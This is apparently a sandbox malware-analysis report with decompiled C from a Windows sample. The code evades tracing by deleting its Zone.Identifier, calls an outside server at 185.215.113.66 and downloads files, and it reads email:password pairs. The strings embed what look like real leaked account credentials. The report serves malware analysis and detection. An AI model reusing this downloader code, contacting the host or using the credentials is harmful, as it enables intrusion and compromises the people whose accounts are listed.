                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$File$_wmemset$CloseHandlerand$Openwsprintf$Read$CreateExitSleepThreadatoimemset$CountDeleteEnvironmentExistsExpandPathProcessStringsTickWritembstowcssrandstrcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%d.txt$%s\%d%d%d.jpg$%sn.txt$%temp%$C:\Users\user\AppData\Local\Temp\3100982464396.jpg$[102.129.143.78]
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3135460431-3320861750
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8b46f2fc99ca6b5745cfde0acc25ba306944a80017a14ec8466c1f623fa3db0c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7c49a67bd7d40849f9c80f7bb552285287d88c83bf7eaa574087b24e62cb3afc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8b46f2fc99ca6b5745cfde0acc25ba306944a80017a14ec8466c1f623fa3db0c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1951C7B5E81324B7E712A750EC47FEB3239AB54B01F048068F209691C3EEB857948FB1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003227F0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 70sleepfilesynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                                                                      			E003227F0() {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v528;
				void _v796;
				short _v1316;
				char _v1716;
				void* _v1720;
				void* _t10;
				signed char _t17;

				Sleep(0x7d0); // executed
				_t10 = CreateMutexA(0, 0, "3999480"); // executed
				_v1720 = _t10;
				if(GetLastError() == 0xb7) {
					ExitProcess(0);
				}
				_v528 = 0;
				GetModuleFileNameW(0,  &_v524, 0x104);
				wsprintfW( &_v1316, L"%s:Zone.Identifier",  &_v524);
				DeleteFileW( &_v1316); // executed
				__imp__#115(0x202,  &_v1716); // executed
				_t17 = E00321760(); // executed
				if((_t17 & 0x000000ff) == 0) {
					ExitProcess(0);
				}
				Sleep(0x64); // executed
				wsprintfA( &_v796, "%s", E00321000("http://185.215.113.66/cock/"));
				CreateThread(0, 0, E00322500,  &_v796, 0, 0); // executed
				while(1 != 0) {
					Sleep(0x36ee80); // executed
				}
				return 0;
			}











                                                                                                                                                                                                                                                                                                                                                      0x003227fe
                                                                                                                                                                                                                                                                                                                                                      0x0032280d
                                                                                                                                                                                                                                                                                                                                                      0x00322813
                                                                                                                                                                                                                                                                                                                                                      0x00322824
                                                                                                                                                                                                                                                                                                                                                      0x00322828
                                                                                                                                                                                                                                                                                                                                                      0x00322828
                                                                                                                                                                                                                                                                                                                                                      0x0032282e
                                                                                                                                                                                                                                                                                                                                                      0x00322846
                                                                                                                                                                                                                                                                                                                                                      0x0032285f
                                                                                                                                                                                                                                                                                                                                                      0x0032286f
                                                                                                                                                                                                                                                                                                                                                      0x00322881
                                                                                                                                                                                                                                                                                                                                                      0x00322887
                                                                                                                                                                                                                                                                                                                                                      0x00322891
                                                                                                                                                                                                                                                                                                                                                      0x00322895
                                                                                                                                                                                                                                                                                                                                                      0x00322895
                                                                                                                                                                                                                                                                                                                                                      0x0032289d
                                                                                                                                                                                                                                                                                                                                                      0x003228bd
                                                                                                                                                                                                                                                                                                                                                      0x003228da
                                                                                                                                                                                                                                                                                                                                                      0x003228e0
                                                                                                                                                                                                                                                                                                                                                      0x003228ee
                                                                                                                                                                                                                                                                                                                                                      0x003228ee
                                                                                                                                                                                                                                                                                                                                                      0x003228fb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 003227FE
                                                                                                                                                                                                                                                                                                                                                      • CreateMutexA.KERNELBASE(00000000,00000000,3999480), ref: 0032280D
                                                                                                                                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00322819
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00322828
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00322846
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0032285F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNELBASE(?), ref: 0032286F
                                                                                                                                                                                                                                                                                                                                                      • WSAStartup.WS2_32(00000202,?), ref: 00322881
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00322895
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExitFileProcess$CreateDeleteErrorLastModuleMutexNameSleepStartupwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$3999480$http://185.215.113.66/cock/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3138769648-3965871641
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a2f10f19c9639fccb28cbda276cb83e09b191605de829d08432ae0ec047febf5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 756845f51fa6c06169c65fa8295a2cc2f7f0f87f10318e65d51a63fb2003fd06
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a2f10f19c9639fccb28cbda276cb83e09b191605de829d08432ae0ec047febf5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CB216574A44314BBE7229BA0EC0EF9A773DAF48B01F008458F60AE50D1EBB957458F75
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321950 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 159 321950-321984 memset InternetOpenW 160 321a43-321a55 InternetCloseHandle 159->160 161 32198a-3219a7 InternetOpenUrlW 159->161 162 321a39-321a3d InternetCloseHandle 161->162 163 3219ad-3219b4 161->163 162->160 164 321a21-321a33 InternetReadFile 163->164 165 3219b6-3219d6 CreateFileW 163->165 164->162 166 3219d8-3219f2 InternetReadFile 165->166 167 321a1f 165->167 168 3219f4-3219f8 166->168 169 321a15-321a19 CloseHandle 166->169 167->162 168->169 170 3219fa-321a13 WriteFile 168->170 169->167 170->166
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00321950(signed char _a4, WCHAR* _a8, WCHAR* _a12) {
				void* _v8;
				void* _v12;
				long _v16;
				long _v20;
				void* _v24;
				void* _t32;
				int _t33;

				memset("an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm", 0, 0x400);
				_v24 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 1, 0, 0, 0);
				if(_v24 != 0) {
					_v8 = InternetOpenUrlW(_v24, _a8, 0, 0, 0, 0);
					if(_v8 != 0) {
						if((_a4 & 0x000000ff) != 1) {
							InternetReadFile(_v8, "an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm", 0x3ff,  &_v20); // executed
						} else {
							_t32 = CreateFileW(_a12, 0x40000000, 0, 0, 2, 0, 0); // executed
							_v12 = _t32;
							if(_v12 != 0xffffffff) {
								while(1) {
									_t33 = InternetReadFile(_v8, "an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm", 0x3ff,  &_v20); // executed
									if(_t33 == 0 || _v20 == 0) {
										break;
									}
									WriteFile(_v12, "an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm", _v20,  &_v16, 0); // executed
								}
								CloseHandle(_v12);
							}
						}
					}
					InternetCloseHandle(_v8); // executed
				}
				InternetCloseHandle(_v24);
				return 0x325120;
			}










                                                                                                                                                                                                                                                                                                                                                      0x00321962
                                                                                                                                                                                                                                                                                                                                                      0x0032197d
                                                                                                                                                                                                                                                                                                                                                      0x00321984
                                                                                                                                                                                                                                                                                                                                                      0x003219a0
                                                                                                                                                                                                                                                                                                                                                      0x003219a7
                                                                                                                                                                                                                                                                                                                                                      0x003219b4
                                                                                                                                                                                                                                                                                                                                                      0x00321a33
                                                                                                                                                                                                                                                                                                                                                      0x003219b6
                                                                                                                                                                                                                                                                                                                                                      0x003219c9
                                                                                                                                                                                                                                                                                                                                                      0x003219cf
                                                                                                                                                                                                                                                                                                                                                      0x003219d6
                                                                                                                                                                                                                                                                                                                                                      0x003219d8
                                                                                                                                                                                                                                                                                                                                                      0x003219ea
                                                                                                                                                                                                                                                                                                                                                      0x003219f2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321a0d
                                                                                                                                                                                                                                                                                                                                                      0x00321a0d
                                                                                                                                                                                                                                                                                                                                                      0x00321a19
                                                                                                                                                                                                                                                                                                                                                      0x00321a19
                                                                                                                                                                                                                                                                                                                                                      0x00321a1f
                                                                                                                                                                                                                                                                                                                                                      0x003219b4
                                                                                                                                                                                                                                                                                                                                                      0x00321a3d
                                                                                                                                                                                                                                                                                                                                                      0x00321a3d
                                                                                                                                                                                                                                                                                                                                                      0x00321a47
                                                                                                                                                                                                                                                                                                                                                      0x00321a55

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.MSVCRT ref: 00321962
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00321977
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0032199A
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(00322607,40000000,00000000,00000000,00000002,00000000,00000000), ref: 003219C9
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm,000003FF,00322607), ref: 003219EA
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNELBASE(000000FF,an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm,00000000,00000000,00000000), ref: 00321A0D
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 00321A19
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm,000003FF,00322607), ref: 00321A33
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 00321A3D
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 00321A47
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm, xrefs: 0032195D, 003219E1, 00321A04, 00321A2A, 00321A4D
                                                                                                                                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00321972
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$File$CloseHandle$OpenRead$CreateWritememset
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$an04072002tjones01@gmail.com:8546VcFt#mdaminuddin615@gmail.com:sohel123@#&*abernusknage16@yandex.ru:icq2formcardenas@gmail.com:Advance01#fross@gmail.com:imarider12345joshua.mcness92@gmail.com:uvC-u2E-Y8R-yw8muhammad.izhar444@gmail.com:25447asdfprakashm
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4022733741-1529522065
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 57a3cc1f3ea40a8478fc4358d5c7a264b7d686340d15116c0e16fb4b525a5261
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2b4a13eb93953fbd9c526798cd825e972f38a118a06cc6efc6c278f848e165f8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 57a3cc1f3ea40a8478fc4358d5c7a264b7d686340d15116c0e16fb4b525a5261
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 87316074A40325FBDB22DBA0ED4AFAE7778AB14B00F204558F601BA1D0D7B4AB51CB60
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00322360 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101stringthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 171 322360-322397 GetTickCount srand _wfopen 172 322426-32244b call 321400 call 3218b0 171->172 173 32239d 171->173 183 322451-322467 call 3218b0 172->183 184 3224ed-3224ef ExitThread 172->184 174 3223a7-3223c4 fgets 173->174 176 3223c6-3223fd rand 174->176 177 322417-322423 fclose 174->177 179 322415 176->179 180 3223ff-322412 strcpy 176->180 177->172 179->174 180->179 183->184 187 32246d-322483 call 3218b0 183->187 187->184 190 322485-3224a3 call 322340 187->190 190->184 193 3224a5-3224d5 strtok 190->193 193->184 194 3224d7-3224e5 call 321a70 193->194 196 3224ea 194->196 196->184
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 75%
                                                                                                                                                                                                                                                                                                                                                      			E00322360() {
				char _v268;
				char _v532;
				struct _IO_FILE* _v536;
				long _v540;
				intOrPtr _v544;
				char* _v548;
				signed char _v552;
				int _t28;
				char* _t40;
				signed char _t42;
				void* _t57;
				void* _t59;
				signed long long _t70;

				_t28 = GetTickCount();
				srand(_t28);
				_push("r");
				_push("C:\Users\alfons\AppData\Local\Temp\3100982464396.jpg"); // executed
				L00322946(); // executed
				_t59 = _t57 + 0xc;
				_v536 = _t28;
				if(_v536 == 0) {
					L7:
					E00321400( &_v532);
					if(E003218B0( &_v532, "@") != 0 && E003218B0( &_v532, ":") != 0 && E003218B0( &_v532, ".") != 0) {
						_v544 = E00322340( &_v532, 0x3a);
						if(_v544 != 0) {
							_v544 = _v544 + 1;
							_v548 = strtok( &_v532, ":");
							if(_v548 != 0) {
								E00321A70(_v548, _v544); // executed
							}
						}
					}
					ExitThread(0);
				} else {
					_v540 = 0;
					while(1) {
						_t40 = fgets( &_v268, 0x104, _v536); // executed
						_t59 = _t59 + 0xc;
						if(_t40 == 0) {
							break;
						}
						_v540 = _v540 + 1;
						_t42 = rand();
						_v552 = _t42;
						asm("fild dword [ebp-0x224]");
						_t70 = _t70 /  *0x323d20;
						asm("fild dword [ebp-0x218]");
						asm("fld1");
						asm("fdivrp st1, st0");
						asm("fcompp");
						asm("fnstsw ax");
						if((_t42 & 0x00000001) == 0) {
							strcpy( &_v532,  &_v268);
							_t59 = _t59 + 8;
						}
					}
					fclose(_v536); // executed
					_t59 = _t59 + 4;
					goto L7;
				}
			}
















                                                                                                                                                                                                                                                                                                                                                      0x00322369
                                                                                                                                                                                                                                                                                                                                                      0x00322370
                                                                                                                                                                                                                                                                                                                                                      0x00322378
                                                                                                                                                                                                                                                                                                                                                      0x0032237d
                                                                                                                                                                                                                                                                                                                                                      0x00322382
                                                                                                                                                                                                                                                                                                                                                      0x00322387
                                                                                                                                                                                                                                                                                                                                                      0x0032238a
                                                                                                                                                                                                                                                                                                                                                      0x00322397
                                                                                                                                                                                                                                                                                                                                                      0x00322426
                                                                                                                                                                                                                                                                                                                                                      0x0032242d
                                                                                                                                                                                                                                                                                                                                                      0x0032244b
                                                                                                                                                                                                                                                                                                                                                      0x00322496
                                                                                                                                                                                                                                                                                                                                                      0x003224a3
                                                                                                                                                                                                                                                                                                                                                      0x003224ae
                                                                                                                                                                                                                                                                                                                                                      0x003224c8
                                                                                                                                                                                                                                                                                                                                                      0x003224d5
                                                                                                                                                                                                                                                                                                                                                      0x003224e5
                                                                                                                                                                                                                                                                                                                                                      0x003224ea
                                                                                                                                                                                                                                                                                                                                                      0x003224d5
                                                                                                                                                                                                                                                                                                                                                      0x003224a3
                                                                                                                                                                                                                                                                                                                                                      0x003224ef
                                                                                                                                                                                                                                                                                                                                                      0x0032239d
                                                                                                                                                                                                                                                                                                                                                      0x0032239d
                                                                                                                                                                                                                                                                                                                                                      0x003223a7
                                                                                                                                                                                                                                                                                                                                                      0x003223ba
                                                                                                                                                                                                                                                                                                                                                      0x003223bf
                                                                                                                                                                                                                                                                                                                                                      0x003223c4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003223cf
                                                                                                                                                                                                                                                                                                                                                      0x003223d5
                                                                                                                                                                                                                                                                                                                                                      0x003223da
                                                                                                                                                                                                                                                                                                                                                      0x003223e0
                                                                                                                                                                                                                                                                                                                                                      0x003223e6
                                                                                                                                                                                                                                                                                                                                                      0x003223ec
                                                                                                                                                                                                                                                                                                                                                      0x003223f2
                                                                                                                                                                                                                                                                                                                                                      0x003223f4
                                                                                                                                                                                                                                                                                                                                                      0x003223f6
                                                                                                                                                                                                                                                                                                                                                      0x003223f8
                                                                                                                                                                                                                                                                                                                                                      0x003223fd
                                                                                                                                                                                                                                                                                                                                                      0x0032240d
                                                                                                                                                                                                                                                                                                                                                      0x00322412
                                                                                                                                                                                                                                                                                                                                                      0x00322412
                                                                                                                                                                                                                                                                                                                                                      0x00322415
                                                                                                                                                                                                                                                                                                                                                      0x0032241e
                                                                                                                                                                                                                                                                                                                                                      0x00322423
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00322423

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\user\AppData\Local\Temp\3100982464396.jpg, xrefs: 0032237D
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountExitThreadTick_wfopenfclosefgetsrandsrandstrcpystrtok
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Users\user\AppData\Local\Temp\3100982464396.jpg
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1857396134-1823399902
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 510e0048d50cfb1e99601597a1e21ddc8074223de61b15ef7fadd8fc349be551
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2b421c4fc5c710da5f9702719287761a28c46c9f936388e2fbebb68b7b236344
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 510e0048d50cfb1e99601597a1e21ddc8074223de61b15ef7fadd8fc349be551
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BD3184B1D8023CA7DB22FB61FD89BDA72786B24305F0445E8E50866141E7759BD4CFA1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0032295C Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 197 32295c-3229d1 __set_app_type __p__fmode __p__commode call 322adb 200 3229d3-3229de __setusermatherr 197->200 201 3229df-322a36 call 322ac6 _initterm __getmainargs _initterm 197->201 200->201 204 322a72-322a75 201->204 205 322a38-322a40 201->205 206 322a77-322a7b 204->206 207 322a4f-322a53 204->207 208 322a42-322a44 205->208 209 322a46-322a49 205->209 206->204 211 322a55-322a57 207->211 212 322a59-322a6a GetStartupInfoA 207->212 208->205 208->209 209->207 210 322a4b-322a4c 209->210 210->207 211->210 211->212 213 322a6c-322a70 212->213 214 322a7d-322a7f 212->214 215 322a80-322a8b GetModuleHandleA call 3227f0 213->215 214->215 217 322a90-322aad exit _XcptFilter 215->217
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 73%
                                                                                                                                                                                                                                                                                                                                                      			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x323d58);
				_push(0x322adc);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x325930 =  *0x325930 | 0xffffffff;
				 *0x325934 =  *0x325934 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x32592c; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x325928; // 0x0
				 *_t24 = _t47;
				 *0x325938 = _adjust_fdiv;
				_t27 = E00322ADB( *_adjust_fdiv);
				_t61 =  *0x325050; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00322AD8);
				}
				E00322AC6(_t27);
				_push(0x32500c);
				_push(0x325008);
				L00322AC0();
				_t29 =  *0x325924; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x325920,  &_v112);
				_push(0x325004);
				_push(0x325000);
				L00322AC0();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0)); // executed
				_t40 = E003227F0(); // executed
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00322ABA();
				return _t41;
			}





























                                                                                                                                                                                                                                                                                                                                                      0x0032295f
                                                                                                                                                                                                                                                                                                                                                      0x00322961
